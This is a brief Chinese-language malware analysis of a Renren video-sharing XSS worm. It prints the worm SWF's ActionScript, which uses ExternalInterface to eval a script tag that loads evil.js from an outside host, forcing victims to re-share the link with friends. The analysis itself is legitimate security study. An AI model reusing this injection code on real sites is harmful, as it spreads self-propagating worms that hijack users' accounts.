目标: 跨站脚本中的swf
版本: -
来源: hxxp://n.99081.com/xnxss1/evil.js
工具: Redoce 2.036
语言: JavaScript / SWF ActionScript
SAC#09006
www.sacour.cn 转载保留此行

这个就是之前说的那个人人网分享视频的那个蠕虫,代码里面能看出他执行时会试图添加一个副本evil.js,这个js跟图中这个renren.js一样,为了使打开收到信息的人再次中奖被强制发送信息给好友。

js的重点当然就是这个1.swf,
 

检查一下这个swf的actionscript:

var fun "var x=document.createElement(\"SCRIPT\");x.src=\"http://n.99081.com/xnxss1/evil.js\"; x.defer=true;document.getElementsByTagName(\"HEAD\")[0].appendChild(x);";
flash.external.ExternalInterface.call("eval"fun);

好吧这家伙还是试图加载那个js,不过总不能加载完就没事了吧,主框架的脚本还有:


loadMovie("http://www.tudou.com/player/outside/player_outside.swf?iid=4120048&default_skin=http://js.tudouui.com/bin/player2/outside/Skin_outside_13.swf&autostart=false&rurl="this);

加载一个土豆网的视频,难怪了,那个视频点击量已经接近800,000次,不过下边的评论里面围观群众人数也不少……

没了?没了。所以这东西一开头也就说:
// I'm not a malicious worm.^^;

既然这样,只能……好吧,你说的对……